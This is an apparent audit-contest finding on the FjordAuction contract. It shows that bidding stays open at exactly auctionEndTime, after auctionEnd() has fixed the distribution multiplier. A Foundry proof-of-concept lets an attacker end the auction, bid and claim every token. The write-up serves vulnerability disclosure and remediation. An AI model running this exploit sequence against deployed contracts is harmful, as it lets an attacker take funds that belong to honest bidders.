DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Users can bid when the auction ends to manipulate the auction token distribution ratio

Summary

When one auction ends, the multiplier will be calculated, and all bidders can share the auction tokens. But when block.timestamp == auctionEndTime, bidders still can bid for this auction even after the multiplier has already been calculated.

Vulnerability Details

When one auction ends, we will calculate the multiplier based on totalTokens and totalBids. Then the bidders can claim auction tokens.
The problem is that users can end this auction when block.timestamp >= auctionEndTime and users can bid/unbid this auction when block.timestamp <= auctionEndTime. There exists one edge case, users can bid/unbid this auction and trigger auctionEnd at the same block if block.timestamp == auctionEndTime.

function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
...
}
function bid(uint256 amount) external {
// Cannot bid when the auction ends.
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
...
}

This will cause that malicious bidders can end this auction and then bid this auction to manipulate the auction token distribution ratio when block.timestamp == auctionEndTime.

In below example, Bob is the only bidder before the auction ends. Bob bids 100 points for this auction.
And Cathy ends this auction and then also bids 100 points for this auction when block.timestamp == auctionEndTime.
Cathy can claim all auction tokens and bob will not claim any token.

Poc

function test_poc_bidder() public {
deal(address(auctionToken), alice, 100 ether);
vm.startPrank(alice);
// Alice is the factory's owner.
factory = new AuctionFactory(address(fjordPoints));
auctionToken.approve(address(factory), 100 ether);
factory.createAuction(address(auctionToken), biddingTime, 100 ether, bytes32("123"));
console.log("Factor owner balance: ", auctionToken.balanceOf(alice));
vm.stopPrank();
deal(address(fjordPoints), bob, 100);
deal(address(fjordPoints), cathy, 100);
auction = FjordAuction(0x1fD5d89C6c2238CA0051FDcC0aA5B593aFD39Cbc);
// Bob bid this auction with 100 points.
vm.startPrank(bob);
fjordPoints.approve(address(auction), 100);
auction.bid(100);
vm.stopPrank();
vm.warp(1 weeks + 1);
vm.startPrank(cathy);
auction.auctionEnd();
fjordPoints.approve(address(auction), 100);
auction.bid(100);
console.log("Cathy auction token amount before Claim Auction: ", auctionToken.balanceOf(cathy));
auction.claimTokens();
vm.stopPrank();
console.log("Cathy Claim Auction token amount: ", auctionToken.balanceOf(cathy));
console.log("Left auction token for Bob: ", auctionToken.balanceOf(address(auction)));
}

Impact

Malicious users can manipulate the auction result.

Tools Used

Manual

Recommendations

In order to avoid this edge case, please make sure that there is not any block that users can bid/unbid and also end auction.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.